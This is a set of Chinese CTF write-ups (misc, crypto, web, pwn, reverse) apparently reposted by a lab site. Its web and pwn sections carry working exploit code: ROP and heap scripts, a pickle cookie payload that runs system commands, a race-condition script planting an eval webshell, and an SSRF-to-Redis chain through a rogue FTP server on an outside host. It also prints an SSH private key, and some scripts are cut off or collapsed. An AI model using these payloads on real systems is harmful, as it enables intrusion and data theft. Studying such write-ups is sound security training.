push_i16 174
push_i8 107
push_i16 131
array_from 32
push_i16 223
define_field "32"
push_i8 122
define_field "33"
push_i16 229
define_field "34"
push_i16 157 43 define_field "35"
加密过程就是一个异或(56-17)外加rc4(key为2021quickjs_happygameH)
解密得到flag为flag{2021_9u1ck_1s_v3r7_1nT3r3st1n9}
Misc
1、你这flag保熟吗
binwalk提取两张图片,分别得到一个字母数字混合的表格和一个hint.txt
password.xls
hint.txt
希尔伯格曲线 取出表格中的字符,单独放到password.txt的文件中,运行脚本如下:
import base64
from hilbertcurve.hilbertcurve import HilbertCurve
array = []
password = ''
p = 8;n=2
hilbert_curve = HilbertCurve(p, n)
with open('password.txt','r',encoding='utf-16') as file:
# a = file.readline().replace("\t", "").replace("\n", "")
# print(a)
for i in range(256):
a = file.readline().replace("\t", "").replace("\n", "")
array.append(a)
for i in range(256*256):
[m,n] = hilbert_curve.point_from_distance(i)
password += array[n][m]
# print(password)
import base64
temp = password
for i in range(25):
temp = base64.b64decode(temp)
print(temp)
得到base64加密后的密文如下:
base解密得到密码
解压后发现里面是brainfuck
>+++++++++[<+++++++++++++ >-]>+ ++[< +++++++++++++++++++++++++++++
++++++++>-]>++[<+++++++++ +++++ ++++++ +++++++++++++++++++++++++++++
++++++++++++>-]>++++[<+++ +++++ ++++++++ +++++++++++++>-]>+++[<+++++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ +>-] ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ >>+++ +++[ <+++ +++++
+++++ +++++ +>-] >++[ <++++
+++++++++++++++++++++++++ +++++ +++++++>-]>+++++++++++[< +++++ ++++++>-]>++[<++
+++++++++++++++++++++++++ +++++ ++++++++++++++++++++++++++ +>-]> +++++++[<++++++++
+++++++>-]+++++++++++++++ +++++ ++++++++++++++++++++++++++++ +++++ +++ +++++
+++++ +++++ ++++ ++++ +++++ +++++
+++++ +++++ ++++ >>++ +++[< +++++
+++++ +++++ ++++ >-]> +++++ +++[<
+++++ +++++ +>-] >+++ +++[< +++++
+++++ +++++ ++>- ]>++ +++++ [<+++
+++++ +++++ ++>- ]+++ +++++ +++++
+++++ +++++++++++++++++++++++++++ ++++ ++++ +++++++++++++++++++++++++++++
+++++ ++++++++++++++>>++[<+++++++ ++++ ++++ +++++++++++++++++++++++++++++
+++++ ++++++++++>-]>+++++[<++++++ ++++ ++++ +++++>-]>+++++++[<+++++++>-]>
++++ ++++
[<+++ +++++
+>-]>+++++[<+++++++++++++++++++>-]>++++[<+++++++++++++>-]>+++++[<+++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[<
++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++++[<+++++++++++++++++>-
]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]>+++++++++[<+++++++++++++>-]>++++++[<+++++++++++++++++
>-]>+++[<+++++++++++>-]>+++++[<+++++++++++++++++++>-]>++++++++++[<++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++>-]>+++++[<+++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>>+++
+++[<+++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>>+++[<+++++++++++++++++++++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>
然后解brainfuck可以得到
uozt{SrRyvig_Xfiev_1H_4_ee0mwviuf!_xfiev}
放到编码器里面发现是atbash
对应位置修改下大小写
flag{HiIbert_Curve_1S_4_vv0nderfu!_curve}
Crypto
1、 baby_rsa
to small? leak?
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, is_prime
from tqdm import tqdm
primes = []
for xy in tqdm(range(500)):
for mn in range(500):
prime = xy**(mn+1) - (xy+1)**mn
if prime.bit_length() > 2048: break
if is_prime(prime):
primes.append(prime)
c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982
for i in range(len(primes)):
for j in range(i, len(primes)):
pq = primes[i]*primes[j]
if len(bin(pq)[2:]) == 2048:
try:
d = invert(0x10001, (primes[i]-1)*(primes[j]-1))
dec = long_to_bytes(pow(c, d, pq))
if b"flag{" in dec:
print(dec)
except ValueError:
pass
已知((fac[0]+fac[1]+fac[2]) << 1) - 1的值,用其替代n。分解((fac[0]+fac[1]+fac[2]) << 1) - 1求其欧拉函数,进而求解出d和第二段。
import gmpy2
from Crypto.Util.number import *
def main():
_n = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739
e = 0x10001
c = 4062598101725026294523054845073895172556652025216341012456562212675473969368127164912710410903816485278776729640369746247545967054084582215039763992301322310291267474840242750158801886649087839467848206156152125336555002907556550798823272903205529899279271257456970484607551462482465412769174
phi_n = (191 - 1) * (193 - 1) * (627383 - 1) * (1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491 - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c % _n, d, _n)
print(long_to_bytes(m))
if __name__ == '__main__':
main()
###
Web
1、java_url
一道Java_URL。
Tomcat/8.5.71
读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF//web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>testurl</servlet-name>
<servlet-class>com.test2.aaa1.testURL</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>testurl</servlet-name>
<url-pattern>/testURL</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.test2.aaa1.download</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>download</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
</web-app>
读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/test2/aaa1/testURL.class
得到class文件
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class testURL extends HttpServlet {
protected void doGet(HttpServletRequest arg1, HttpServletResponse arg2) throws ServletException, IOException {
this.doPost(arg1, arg2);
}
protected void doPost(HttpServletRequest arg6, HttpServletResponse arg7) throws ServletException, IOException {
String tartget_url = arg6.getParameter("url");
if(tartget_url.substring(0, tartget_url.indexOf(":")).matches("(?i)file|(?i)gopher|(?i)data")) {
arg7.getWriter().write(String.valueOf(new StringBuilder().append("false")));
return;
}
arg7.getWriter().write(String.valueOf(this.getContent(tartget_url)));
}
public StringBuilder getContent(String arg8) throws IOException {
BufferedReader in = new BufferedReader(new InputStreamReader(new URL(arg8).openConnection().getInputStream()));
StringBuilder content = new StringBuilder();
while(true) {
String inputLine = in.readLine();
if(inputLine == null) {
return content;
}
content.append(inputLine);
content.append("\n");
}
return content;
}
}
读flag的payload /testURL?url=url:file:///flag
2、EZ_python
樱桃猫写了自己的第一个flask网站,你能帮他看看有什么问题吗?
网刃杯的easy_web,原题
文件读取,/proc/self/cmdline
app.py
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0',port=8888)
读 /proc/self/environ 没用
MAIL=/var/mail/appUSER=appHOSTNAME=engine-1SHLVL=1PYTHON_PIP_VERSION=20.1HOME=/home/appGPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568LOGNAME=app_=/bin/suPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyTERM=xtermPATH=/usr/local/bin:/usr/loca
网刃原题
import requests
import pickle
import base64
# e = 'ls / -a'
e = 'cat /flagggggggggggggaaa'
s = pickle.dumps(e)
# print(s)
payload = b'c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubV' + \
e.encode()+b' > /tmp/1.txt\nb.'
response = requests.get("http://eci-2zecbk1aefg5marnfo77.cloudeci1.ichunqiu.com:8888/?pic=/tmp/1.txt",
cookies=dict(
user=base64.b64encode(payload).decode()))
for l in response.content.decode().split("\n"):
if "base64" in l:
l = l.split("\"")[1].split(",")[1]
print(base64.b64decode(l).decode())
flag{2e4af838-7d23-4b04-a77a-1519e8b14e8f}
更多好文,尽请期待!https://www.yijinglab.com/pages/CTFLaboratory.jsp
羊城杯WP
Pwn
1、Babyrop
栈溢出,且存在后门函数;
利用func1将'/cin/sh'修改为'/bin/sh',
利用func2调用参数执行system('/bin/sh')即可
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
#p = process("./BabyRop")
p = remote("192.168.39.161", 11000)
elf = ELF("./BabyRop")
payload = flat([
'a'*(0x28+4),
0x80491fd, #func1
0x8049332, # ret address ;pop rdx r15 ;ret
0x804c024,
1,
0x80491d6, #func2:system
0x80491d6,
0x804c024
])
p.sendline(payload)
p.interactive()
2、Whats your name
Libc 2.23 + off by null:
Off by null使得下个相邻chunk的pre_inuse置零;然后伪造pre_size,以及fake chunk的fd,bk,之后释放pre_inuse置零的chunk,实现unlink,造成堆块重叠;
最后覆写重叠堆块上存在的函数指针,改为setcontext+53,并提前布置好orw的rop链,调用show函数时,触发orw读出flag;
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
pc="./name"
#p=process(pc,env={"LD_PRELOAD":"./libc.so.6"})
p = remote(192.168.39.161,9999)
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
what_idx="index:"
def add(size):
ru("5.exit\n")
sl("1")
ru("name size:")
sl(str(size))
def edit(idx,c):
ru("5.exit\n")
sl("2")
ru(what_idx)
sl(str(idx))
ru("name:")
sl(c)
def show(idx):
ru("5.exit\n")
sl("3")
ru(what_idx)
sl(str(idx))
def dele(idx):
ru("5.exit\n")
sl("4")
ru(what_idx)
sl(str(idx))
add(0x100) #0
add(0x100) #1
dele(0)
add(0x30)
show(0)
libc_base = ru7f() - 0x3c4b78 -0xe0
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
add(0x10) #2
show(2)
ru('\n') #这里需要根据具体情况调试
heap_addr = rv6() - 0xad0
dele(0)
add(0x48) #0
add(0x100) #3
pay = flat([
0,0x41,
heap_addr+0xc8-0x18,heap_addr+0xc8-0x10,
'a'*0x20,
0x40
])
edit(0,pay)
edit(3,'a'*0xf0+p64(0x100)+p64(0x121))
dele(3)
add(0x10) #3
add(0xa8-0x20) #4
add(0xc0) #5
srop_addr = heap_addr+0xb30
pay = flat([
0,0x21,
setcontext_53,srop_addr
])
edit(0,pay)
syscall = libc_base + 0xbc3f5
p_rdi = libc_base + 0x21112
p_rsi = libc_base + 0x202f8
p_rax_rdx_rbx = libc_base + 0x1436b1
ret = p_rsi+1
rop_base = heap_addr + 0xc60
edit(5,'\x00'*0xa0+p64(rop_base)+p64(ret))
flag_str_addr = heap_addr
flag_addr=rop_base+0xd8
payload=flat([
p_rdi,flag_addr,
p_rsi,4,
p_rax_rdx_rbx,2,4,0,
syscall,
p_rdi,3,
p_rsi,flag_str_addr,
p_rax_rdx_rbx,0,0x50,0,
syscall,
p_rdi,1,
p_rsi,flag_str_addr,
p_rax_rdx_rbx,1,0x50,0,
syscall,
'flag\x00'
])
edit(1, payload)
show(0)
p.interactive()
3、Nologin
查看保护:
存在栈溢出的点:
第一次溢出劫持rbp,再返回到溢出函数;
第二次溢出,首先往bss段上读orw的gadget,其中pop rdx要自己写到bss上;
然后栈迁移到bss段上,执行orw
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
pc="./nologin"
reomote_addr=["",40001]
context.log_level="debug"
# p=process(pc)
p = remote("192.168.39.161",40001)
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
p.sendlineafter("input>> \n","2")
flag_addr = 0x0602020+0x400
str_addr = 0x0602050
p.sendlineafter(">password: \n","1"*5+p64(flag_addr)+p64(0x400FF8))
# rax=0x602420
p.sendafter("password: \n","a"*0xd+p64(0x4009BC)+"a"*9 )
read_addr = 0x400780
open_addr = 0x4007B0
puts_addr = 0x400730
p_rdi = 0x401173
p_rsi_r15 = 0x401171
p_rdx = 0x6024b0
orw = flat([
p_rdi,flag_addr,
p_rsi_r15,0,0,
open_addr,
p_rdi,4,
p_rsi_r15,str_addr,0,
p_rdx,0x40,
read_addr,
p_rdi,str_addr,
puts_addr
])
p.sendline(("./flag".ljust(8,'\x00')+orw+asm("pop rdx\nret\n")) )
p.interactive()
Re
1、Android
将apk文件拉到jeb中进行分析,发现checkflag的关键逻辑在activity层
可以看到是一个base64算法,但是base表要通过和服务器交互得到
main里面有交互的代码
远程连接端口,输入的值进行md5,之后每字节减1为c232666f1410b3f5010dc51cec341f58
直接进行在线解密
之后连接端口取得变表,base解密得到flag为
SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}
2、vm
分析程序,将程序smc动调自解密后,发现是一个vm
动态调试 跟进程序逻辑,发现 vm就是前32字节就是取数据单字节异或,后面的12字节分为3组进行相同的加密
得到以下关键点:
前32字节最后比较的地方
取输入
前三十二字节的异或
之后三组加密对比密文的地方:
同时跟进加密逻辑为
data = (data >> 5)^data
data = ((tmp << 7)&2565961507)^ data
data = ((tmp << 0x18)&904182048)^ data
data = (tmp >> 0x12)^ data
这三组用z3进行约束求解
之后 分段解密得到flag字符串为16584abc45baff901c59dde3b1bb6701a254b06cdc23
3、smc
首先搜索字符串定位关键代码
动态调试,让程序自解密得到代码如下:
分析发现就是将程序进行base64变表加密之后再与四个数字进行异或
跟到base变表如下:
之后直接上脚本解密
#include<iostream>
#include <iomanip>
using namespace std;
int main()
{
int table[64] = {0xE4,0xC4,0xE7,0xC7,0xE6,0xC6,0xE1,0xC1,0xE0,0xC0,0xE3,0xC3,0xE2,0xC2,0xED,0xCD,0xEC,0xCC,0xEF,0xCF,0xEE,0xCE,0xE9,0xC9,0xE8,0xC8,0xEB,0xCB,0xEA,0xCA,0xF5,0xD5,0xF4,0xD4,0xF7,0xD7,0xF6,0xD6,0xF1,0xD1,0xF0,0xD0,0xF3,0xD3,0xF2,0xD2,0xFD,0xDD,0xFC,0xDC,0xFF,0xDF,0x95,0x9C,0x9D,0x92,0x9
int code[56] = {0x48,0x3E,0x6F,0x51,0x6E,0x36,0x61,0x71,0x4C,0x72,0x7B,0x44,0x48,0x36,0x6F,0x64,0x68,0x64,0x6D,0x30,0x64,0x4D,0x65,0x60,0x4D,0x42,0x6F,0x3F,0x6C,0x52,0x67,0x6C,0x48,0x74,0x47,0x50,0x4F,0x64,0x6F,0x62,0x44,0x6C,0x6B,0x6E,0x65,0x6A,0x6D,0x47,0x49,0x7C,0x67,0x68,0x44,0x62,0x3C,0x34};
for(int k=0;k<56;k+=4)
{
code[k] ^= 0xa6;
code[k+1] ^= 0xa3;
code[k+2] ^= 0xa9;
code[k+3] ^= 0xac;
}
int a[56];//下标
for(int j=0;j<56;j++)
for(int i=0;i<64;i++)
if(table[i]==code[j])
a[j]=i;
int len = 56;
int flag[56];
j=0;
int i=0;
do
{
flag[j] = (a[i]<<2) | (a[i+1]>>4); //取出第一个的前6位与第二个后2位进行组合
flag[j+1] = ((a[i+1] & 0xf)<<4) | (a[i+2]>>2); //取出第二个的后4位与第三个的后4位进行组合
flag[j+2] = ((a[i+2] & 0x3)<<6) | (a[i+3]);//取出第三个字符的后2位与第4个字符进行组合
j+=3;
i+=4;
}
while(i<len-2);//8/4*3=6
cout<<"V8:"<<endl;
for(i=0;i<56;i+=4)
{
printf("%c%c%c%c", flag[i], flag[i+1], flag[i+2], flag[i+3]);
}
return 0;
}
4、Deltx
分析程序,发现输入应该为41位,然后将SangFor{}里面的数据分为八组,每组4byte
之后后面的判断实际都是判断相乘和相加的结果
直接列出方程在线解密
-v16 + v10 = -42564
v16*v10=614340037
得到v16 = 0xD2BF v10 = 0x2C7B
以此类推 得到flag为
SangFor{2C7BD2BF862564baED0B6B6EA94F15BC}
Misc
1、签到
根据图片含义推断数字含义,比较脑洞,对gif逐帧分离后
28-08-30-07-04-20-02-17-23-01-12-19
求一下md5 d93b7da38d89c19f481e710ef1b3558b
2、赛博德国人
压缩包的hint
流量包导出pdf 和 txt
还可以找到密码为d279186428a75016b17e4df5ea43d080230 打开pdf有密钥
然后engima解密得到475748547berta36623936373230356665373537393566313034383537316366346366623730337dora
德语单词和十六进制转化后得到GWHT{6b967205fe75795f1048571cf4cfb703}
3、misc520
150号压缩包里面提取到
72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,
解压0号压缩包,并从flag.png中提取压缩包,爆破密码,得到流量包如下:
不支持在 Docs 外粘贴 block
类似xnuca那个鼠标流量,还原鼠标流量画图
前后两部分字符串拼接起来,asc偏移解密
GWHT{W3lCom3_t0_M!sc}
4、Baby_Forenisc
vol,cmdscan发现要找git号,过滤git有关内容
发现ssh.txt连接github的私钥
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
putty加载
发现了一个邮箱,去GitHub搜索,是个手机app
下载APP文件,在里面找到一个htm,有段base
U2FuZ0ZvcntTMF8zYXp5XzJfY3JhY2tfbm9vYl9wbGF5ZXJ9
解base64即可
Crypto
1、Rsa?
读getloop函数,有:
(x1+a*y1)(mod n)=((X+aY)^65536)(mod n)
因为 a=((inv_Z1-X)*inv_Y)%n,
所以 (x1+a*y1)(mod n)=(inv_Z1^65536)(mod n)
yafu分解n
求得inv_Z1,Z1,X
X+aY=inv_Z1
故 Y=((inv_Z1-X)*inv_a)(mod n)
from gmpy2 import invert
from Crypto.Util.number import long_to_bytes
n = 13390709926509813526471364597371124446888078365567927211781799241724742352679484983709219580483800891886832613684875066109177882219522305348565532970795023
p = 115718235064789220654263009993128325569382592506655305434488398268608329541037
q = 115718235064789220654263009993128324769382192706654302434478391267607309966379
phin = (p - 1) * (q - 1)
x1 = 5404548088049249951619519701935576492239293254135836357417714329205323074367876875480850741613547220698045360461761929952847796420174204143917852624050110
y1 = 2110372753170830610718226848526649992911771424441223687775304654852191999130502986109306355582366065947895295520226816523397652918227241733632791793362785
e = 65537
a = 1762039418842677123086894939949574689744108610561557889235294034870342076452734215004689409493802437034960516295735815195656138656970901855976802991519141
d = invert(e, phin)
inv_Z1 = pow((x1 + a * y1) % n, d, n)
Z1 = invert(inv_Z1, n)
inv_2 = invert(2, n)
X = ((Z1 + inv_Z1) * inv_2) % n
Y = ((inv_Z1 -X) * invert(a, n)) % n
print(long_to_bytes(Y))
flag:GWHT{pell_equation_is_very_interesting}
2、Bigrsa
模不互素攻击。p可以从greatest common factor(n1、n2)得到,
求出q1、q2,就可以有私钥解密了
import math
from gmpy2 import invert
from Crypto.Util.number import *
n1 = 1038352964090817518607705355147465868153958984272603343256803136483691326610578406808232955122369489533708955684197213311708345578125414683092988194972677468928145838064230271673828254791579513658230856390787388476476344068413313070355938107129145453472016190042536026921273702658330920825430671
n2 = 1153831985846771474875560143364483107218538411687580124456341828141803144805018289271600710151970894560424721858508938473704818173258688240762452907357497173847696616988950001764414972423718739813536896077111468528915514911685287998143119924714496400145018587634954722671682240156659066273824905
e = 65537
c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744
p = math.gcd(n1, n2)
print(p)
p = 10210039189276167395636779557271057346691950991057423589319031237857569595284598319093522326723650646963251941930167018746859556383067696079622198265424441
q1 = n1 // p
q2 = n2 // p
phin1 = (p - 1) * (q1 - 1)
phin2 = (p - 1) * (q2 - 1)
d1 = invert(e, phin1)
d2 = invert(e, phin2)
m = pow(c, d2, n2)
m = pow(m, d1, n1)
print(long_to_bytes(m))
flag:SangFor{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8}
3、RingRingRing
import stringimport pwnfrom pwnlib.util.iters import mbruteforcefrom hashlib import md5def main(): r = pwn.remote("192.168.39.161", 2378) msg = r.recvuntil('xxxxx:').decode() suffix = msg[msg.find(' + ') + 3: msg.find(')')] cipher = msg[msg.find('==') + 3: msg.find('\n')] proof = mbruteforce(lambda
flag:GWHT{a_funny_equation}
4、MISS
https://github.com/Mathsyo/CTFs/tree/2630cdb64799774020d32107ff0ebcf269c64535/MidnightFlagCTF/Cryptography/Something_missingS_BOX = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf
flag:SangFor{cb4_k27}
5、Easy_Rsa
(p-1)和(q-1)有公共的大质数因数g,用魔改的rho方法分解n
https://0xdktb.top/2020/02/28/Summary-of-Crypto-in-CTF-RSA/中U13
from Crypto.Util.number import *from gmpy2 import invertdef f(x, n): return (pow(x, n - 1, n) + 3) % ndef rho(n): i = 1 while True: a = getRandomRange(2, n) b = f(a, n) j = 1 while True: p = GCD(abs(a - b), n) # print('{} in {} circle'.format(j, i)) if p == n: break elif p > 1: return (p, n // p) el
flag:SangFor{0a8c2220-4c1b-32c8-e8c1-adf92ec7678b}
Web
1、only 4
https://www.freebuf.com/vuls/202819.html 条件竞争的脚本直接打
#coding=utf-8import ioimport requestsimport threadingsessid = 'bad_cat'data = {"cmd":"system('cat /flag');"}def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://192.168.39.161:8000/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>
回显flag
2、cross the side
ssrf打6379的redis,过程和脚本参考
https://github.com/Maskhe/evil_ftphttps://www.cnblogs.com/zpchcbd/p/14702897.htmlpayload用 https://github.com/tarunkant/Gopherus 生成
自己vps跑个恶意ftp:
# -*- coding: utf-8 -*-# @Time : 2021/1/13 6:56 下午# @Author : tntaxin# @File : ftp_redirect.py# @Software:import socketfrom urllib.parse import unquote# 对gopherus生成的payload进行一次urldecodepayload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0
发包
POST /_ignition/execute-solution HTTP/1.1Host: 192.168.39.161:8077Content-Type: application/jsonContent-Length: 194{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "ftp://aaa@81.70.59.112:23/123" }}
访问发现写进去了,antsword连接 http://81.70.59.112:23/shell.php 根目录flag
https://www.yijinglab.com/pages/CTFLaboratory.jsp
从本地到WordPress代码注入
什么是create_function?
版本影响:
注意:create_function在PHP7.2.0之后被废弃,因此该函数的适用范围在PHP 4 >= 4.0.1、PHP 5、 PHP 7<=7.2.0
简单讲解:
